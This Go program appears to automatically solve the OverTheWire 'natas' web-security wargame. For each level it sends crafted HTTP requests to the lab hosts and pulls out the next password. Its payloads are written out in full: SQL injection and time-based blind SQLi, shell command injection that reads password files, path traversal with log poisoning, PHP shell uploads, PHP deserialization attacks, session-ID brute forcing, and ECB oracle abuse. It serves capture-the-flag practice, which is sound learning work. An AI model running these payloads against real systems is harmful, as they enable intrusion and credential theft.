1 package main // import "vimagination.zapto.org/overthewire/natas" 2 3 import ( 4 "flag" 5 "fmt" 6 "log" 7 "net/http" 8 "net/url" 9 "time" 10 11 "vimagination.zapto.org/memio" 12 ) 13 14 var levels = [...]Grabber{ 15 //level 0 16 Prefixed{grab, "The password for natas1 is ", 32}, 17 //level 1 18 Prefixed{grab, "The password for natas2 is ", 32}, 19 //level 2 20 Path{ 21 Prefixed{ 22 grab, 23 "natas3:", 24 32, 25 }, 26 Combine{ 27 SetVar{ 28 Combine{ 29 Combine{ 30 Text{"/"}, 31 Cut{ 32 XPath{grab, "//img/@src"}, 33 "/", 34 0, 35 }, 36 }, 37 Text{"/"}, 38 }, 39 "Level2Dir", 40 }, 41 Combine{ 42 Text{"/"}, 43 Cut{ 44 Cut{ 45 Path{ 46 grab, 47 GetVar{"Level2Dir"}, 48 }, 49 "\"[TXT]\"", 50 1, 51 }, 52 "\"", 53 1, 54 }, 55 }, 56 }, 57 }, 58 //level 3 59 Prefixed{ 60 Path{ 61 grab, 62 Combine{ 63 SetVar{ 64 Trim{ 65 Cut{ 66 Path{ 67 grab, 68 Text{"/robots.txt"}, 69 }, 70 "Disallow: ", 71 1, 72 }, 73 }, 74 "Level3Dir", 75 }, 76 Cut{ 77 Cut{ 78 Path{ 79 grab, 80 GetVar{"Level3Dir"}, 81 }, 82 "\"[TXT]\"", 83 1, 84 }, 85 "\"", 86 1, 87 }, 88 }, 89 }, 90 "natas4:", 91 32, 92 }, 93 //level 4 94 Headers{Prefixed{grab, "The password for natas5 is ", 32}, SetData{"Referer": Text{"http://natas5.natas.labs.overthewire.org/"}}}, 95 //level 5 96 Headers{Prefixed{grab, "The password for natas6 is ", 32}, SetData{"Cookie": Text{"loggedin=1"}}}, 97 //level 6 98 Post{ 99 Prefixed{ 100 grab, 101 "The password for natas7 is ", 102 32, 103 }, 104 SetData{ 105 "submit": Text{"Submit Query"}, 106 "secret": Path{ 107 Cut{ 108 grab, 109 "\"", 110 1, 111 }, 112 Combine{ 113 Text{"/"}, 114 Cut{ 115 Cut{ 116 Path{ 117 grab, 118 Combine{ 119 Text{"/"}, 120 XPath{grab, "//a/@href"}, 121 }, 122 }, 123 "include ", 124 1, 125 }, 126 "\"", 127 1, 128 }, 129 }, 130 }, 131 }, 132 nil, 133 }, 134 //level 7 135 Get{Prefixed{grab, "<br>\n<br>\n", 32}, SetData{"page": Text{"/etc/natas_webpass/natas8"}}}, 136 //level 8 137 Post{ 138 Prefixed{grab, "The password for natas9 is ", 32}, 139 SetData{ 140 "submit": Text{"Submit Query"}, 141 "secret": Base64Decode{ 142 Reverse{ 143 Hex2Dec{ 144 Path{ 145 Prefixed{grab, "$encodedSecret = \"", 32}, 146 Combine{ 147 Text{"/"}, 148 XPath{grab, "//a/@href"}, 149 }, 150 }, 151 }, 152 }, 153 }, 154 }, 155 nil, 156 }, 157 //level 9 158 Get{Prefixed{grab, "/etc/natas_webpass/natas10:", 32}, SetData{"needle": Text{"-H \"\" /etc/natas_webpass/natas10"}}}, 159 //level 10 160 Get{Prefixed{grab, "/etc/natas_webpass/natas11:", 32}, SetData{"needle": Text{"-H \"\" /etc/natas_webpass/natas11"}}}, 161 //level 11 162 Headers{ 163 Prefixed{grab, "The password for natas12 is ", 32}, 164 SetData{ 165 "Cookie": Combine{ 166 Text{"data="}, 167 URLEncode{ 168 Base64Encode{ 169 XOR{ 170 Text{"{\"showpassword\":\"yes\",\"bgcolor\":\"#ffffff\"}"}, 171 FindRepeating{ 172 XOR{ 173 Base64Decode{ 174 Cookie{"data"}, 175 }, 176 Text{"{\"showpassword\":\"no\",\"bgcolor\":\"#ffffff\"}"}, 177 }, 178 }, 179 }, 180 }, 181 }, 182 }, 183 }, 184 }, 185 //level 12 186 Path{ 187 Prefixed{grab, "", 32}, 188 Combine{ 189 Text{"/"}, 190 Post{ 191 XPath{grab, "//a/@href"}, 192 SetData{ 193 "filename": Combine{ 194 XPath{grab, "//form/input[@name='filename']/@value"}, 195 Text{".php"}, 196 }, 197 }, 198 &File{ 199 XPath{grab, "//form/input[@type='file']/@name"}, 200 Text{"exploit.php"}, 201 memio.Buffer("<?php include(\"/etc/natas_webpass/natas13\"); ?>"), 202 }, 203 }, 204 }, 205 }, 206 //level 13 207 Path{ 208 Prefixed{grab, "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a", 32}, 209 Combine{ 210 Text{"/"}, 211 Post{ 212 XPath{grab, "//a/@href"}, 213 SetData{ 214 "filename": Combine{ 215 XPath{grab, "//form/input[@name='filename']/@value"}, 216 Text{".php"}, 217 }, 218 }, 219 &File{ 220 XPath{grab, "//form/input[@type='file']/@name"}, 221 Text{"exploit.php"}, 222 memio.Buffer("\x89\x50\x4e\x47\x0d\x0a\x1a\x0a<?php include(\"/etc/natas_webpass/natas14\"); ?>"), 223 }, 224 }, 225 }, 226 }, 227 //level 14 228 Post{ 229 Prefixed{ 230 grab, 231 "The password for natas15 is ", 232 32, 233 }, 234 SetData{ 235 "username": Text{"\" OR password != \"\" #"}, 236 }, 237 nil, 238 }, 239 //level 15 240 BruteForceString{ 241 Post{ 242 NotContain{grab, "This user doesn't exist."}, 243 SetData{}, 244 nil, 245 }, 246 "username", 247 "natas16\" AND password LIKE BINARY \"", 248 "", 249 "", 250 "%", 251 }, 252 //level 16 253 BruteForceString{ 254 Post{ 255 NotContain{grab, "African"}, 256 SetData{}, 257 nil, 258 }, 259 "needle", 260 "^$(grep -E ", 261 " /etc/natas_webpass/natas17)African", 262 "^", 263 ".*", 264 }, 265 //level 17 266 BruteForceString{ 267 Post{ 268 TakesTime{grab, time.Second}, 269 SetData{}, 270 nil, 271 }, 272 "username", 273 "natas18\" AND IF (password LIKE BINARY \"", 274 "\", SLEEP(1), null) AND password != \"", 275 "", 276 "%", 277 }, 278 //level 18 279 Headers{ 280 Prefixed{ 281 grab, 282 "Password: ", 283 32, 284 }, 285 SetData{ 286 "Cookie": Combine{ 287 Text{"PHPSESSID="}, 288 BruteForceRange{ 289 Headers{ 290 Contains{ 291 grab, 292 "You are an admin.", 293 }, 294 SetData{}, 295 }, 296 &NumRange{0, 640}, 297 "Cookie", 298 "PHPSESSID=", 299 "", 300 }, 301 }, 302 }, 303 }, 304 //level 19 305 Headers{ 306 Prefixed{ 307 grab, 308 "Password: ", 309 32, 310 }, 311 SetData{ 312 "Cookie": Combine{ 313 Text{"PHPSESSID="}, 314 BruteForceRange{ 315 Headers{ 316 Contains{ 317 grab, 318 "You are an admin.", 319 }, 320 SetData{}, 321 }, 322 RangeHex{ 323 RangeSuffix{ 324 &RangeList{ 325 &NumRange{10, 99}, 326 &NumRange{1000, 9999}, 327 &NumRange{100000, 999999}, 328 &NumRange{10000000, 99999999}, 329 }, 330 "-admin", 331 }, 332 }, 333 "Cookie", 334 "PHPSESSID=", 335 "", 336 }, 337 }, 338 }, 339 }, 340 //level 20 341 Headers{ 342 LoadAll{ 343 344 Post{ 345 Contains{ 346 grab, 347 "natas21", 348 }, 349 SetData{ 350 "name": Text{"a\nadmin 1"}, 351 }, 352 nil, 353 }, 354 Prefixed{ 355 grab, 356 "Password: ", 357 32, 358 }, 359 }, 360 SetData{ 361 "Cookie": Combine{ 362 Text{"PHPSESSID="}, 363 Random{ 364 RandomNumLowerLetters, 365 32, 366 }, 367 }, 368 }, 369 }, 370 //level 21 371 Headers{ 372 LoadAll{ 373 374 Host{ 375 Get{ 376 Post{ 377 grab, 378 SetData{ 379 "admin": Text{"1"}, 380 "submit": Text{""}, 381 }, 382 nil, 383 }, 384 SetData{"debug": Text{"1"}}, 385 }, 386 Text{"natas21-experimenter.natas.labs.overthewire.org"}, 387 }, 388 Prefixed{ 389 grab, 390 "Password: ", 391 32, 392 }, 393 }, 394 SetData{ 395 "Cookie": Combine{ 396 Text{"PHPSESSID="}, 397 Random{ 398 RandomNumLowerLetters, 399 32, 400 }, 401 }, 402 }, 403 }, 404 //level 22 405 Get{ 406 Prefixed{ 407 grab, 408 "Password: ", 409 32, 410 }, 411 SetData{"revelio": Text{""}}, 412 }, 413 //level 23 414 Get{ 415 Prefixed{ 416 grab, 417 "Password: ", 418 32, 419 }, 420 SetData{ 421 "passwd": Combine{ 422 Text{"11"}, 423 Cut{ 424 Cut{ 425 Path{ 426 grab, 427 Combine{ 428 Text{"/"}, 429 XPath{grab, "//a/@href"}, 430 }, 431 }, 432 "],</span><span style=\"color: #DD0000\">", 433 1, 434 }, 435 "\"", 436 1, 437 }, 438 }, 439 }, 440 }, 441 //level 24 442 Get{ 443 Prefixed{ 444 grab, 445 "Password: ", 446 32, 447 }, 448 SetData{"passwd[]": Text{}}, 449 }, 450 //level 25 451 Headers{ 452 Prefixed{ 453 Get{ 454 Headers{ 455 grab, 456 SetData{"User-Agent": Text{"<?php echo \"Password: \";include(\"/etc/natas_webpass/natas26\"); ?>"}}, 457 }, 458 SetData{ 459 "lang": Combine{ 460 Combine{ 461 Text{"....//....//....//....//....//var/www/natas/natas25/logs/natas25_"}, 462 GetVar{"Level25Cookie"}, 463 }, 464 Text{".log"}, 465 }, 466 }, 467 }, 468 "Password: ", 469 32, 470 }, 471 SetData{ 472 "Cookie": Combine{ 473 Text{"PHPSESSID="}, 474 SetVar{ 475 Cookie{"PHPSESSID"}, 476 "Level25Cookie", 477 }, 478 }, 479 }, 480 }, 481 //level 26 482 LoadAll{ 483 Headers{ 484 grab, 485 SetData{ 486 "Cookie": Combine{ 487 Text{"drawing="}, 488 URLEncode{ 489 Base64Encode{ 490 PHPSerialize{ 491 "Logger", 492 map[string]interface{}{ 493 "logFile": SetVar{ 494 Combine{ 495 Combine{ 496 Text{"img/"}, 497 Random{ 498 RandomAlphaNum, 499 32, 500 }, 501 }, 502 Text{".php"}, 503 }, 504 "Level26FileName", 505 }, 506 "initMsg": "", 507 "exitMsg": "<?php echo \"Password: \";include(\"/etc/natas_webpass/natas27\");?>", 508 }, 509 }, 510 }, 511 }, 512 }, 513 }, 514 }, 515 Path{ 516 Prefixed{ 517 grab, 518 "Password: ", 519 32, 520 }, 521 Combine{ 522 Text{"/"}, 523 GetVar{"Level26FileName"}, 524 }, 525 }, 526 }, 527 //level 27 528 Get{ 529 LoadAll{ 530 BruteForceRange{ // Used for a timing attack 531 Post{ 532 Contains{ 533 grab, 534 "Welcome natas28!", 535 }, 536 SetData{}, 537 nil, 538 }, 539 &NumRange{0, 1000000}, 540 "attempt", 541 "", 542 "", 543 }, 544 Prefixed{ 545 grab, 546 "[password] => ", 547 32, 548 }, 549 }, 550 SetData{ 551 "username": Text{"natas28"}, 552 "password": Text{"a"}, 553 }, 554 }, 555 //level 28 556 Prefixed{ 557 558 Get{ 559 Path{ 560 grab, 561 Text{"/search.php"}, 562 }, 563 SetData{ 564 "query": Base64Encode{ 565 ECBBreaker{ 566 &Post{ 567 Base64Decode{ 568 URLDecode{ 569 Cut{ 570 GetHeader{"Location"}, 571 "=", 572 1, 573 }, 574 }, 575 }, 576 SetData{}, 577 nil, 578 }, 579 "query", 580 "SELECT CONCAT(username, 0x3A, password) AS joke FROM users #", 581 }, 582 }, 583 }, 584 }, 585 "natas29:", 586 32, 587 }, 588 //level 29 589 Prefixed{ 590 Get{ 591 grab, 592 SetData{"file": Text{"|cat /etc/*_webpass/*30 "}}, 593 }, 594 "</html>\n", 595 32, 596 }, 597 //level 30 598 Prefixed{ 599 PostBody{ 600 grab, 601 memio.Buffer("username=natas31&password=" + url.QueryEscape("'' OR password != ''") + "&password=5"), 602 }, 603 "natas31", 604 32, 605 }, 606 //level 31 607 Prefixed{ 608 Query{ 609 Post{ 610 grab, 611 SetData{"file": Text{"ARGV"}}, 612 &File{ 613 Text{"file"}, 614 Text{"1"}, 615 memio.Buffer("1"), 616 }, 617 }, 618 Text{url.QueryEscape("/etc/natas_webpass/natas32")}, 619 }, 620 "<tr><th>", 621 32, 622 }, 623 //level 32 624 Prefixed{ 625 Query{ 626 Post{ 627 Debug{grab, ""}, 628 SetData{"file": Text{"ARGV"}}, 629 &File{ 630 Text{"file"}, 631 Text{"1"}, 632 memio.Buffer("1"), 633 }, 634 }, 635 Text{url.QueryEscape("index.pl")}, 636 }, 637 "<tr><th>", 638 32, 639 }, 640 } 641 642 func e(err error) { 643 if err != nil { 644 panic(err) 645 } 646 } 647 648 func main() { 649 var ( 650 level uint 651 password string 652 thisLevel int 653 ) 654 flag.UintVar(&level, "l", 0, "level number. > 0 requires password") 655 flag.StringVar(&password, "p", "natas0", "password for initial level") 656 flag.Parse() 657 658 r := http.Request{ 659 Header: make(http.Header), 660 } 661 662 http.DefaultClient.CheckRedirect = func(*http.Request, []*http.Request) error { 663 return http.ErrUseLastResponse 664 } 665 666 defer func() { 667 if err := recover(); err != nil { 668 log.Printf("natas %2d: error: %s", thisLevel, err) 669 } 670 }() 671 672 for n, grabber := range levels[level:] { 673 thisLevel = int(level) + n 674 675 log.Printf("natas %2d: Solving...", thisLevel) 676 677 r.URL, _ = url.Parse(fmt.Sprintf("http://natas%d.natas.labs.overthewire.org/", thisLevel)) 678 r.SetBasicAuth(fmt.Sprintf("natas%d", thisLevel), password) 679 680 password = grabber.Grab(r) 681 log.Printf("natas %2d: Password: %s", thisLevel, password) 682 } 683 }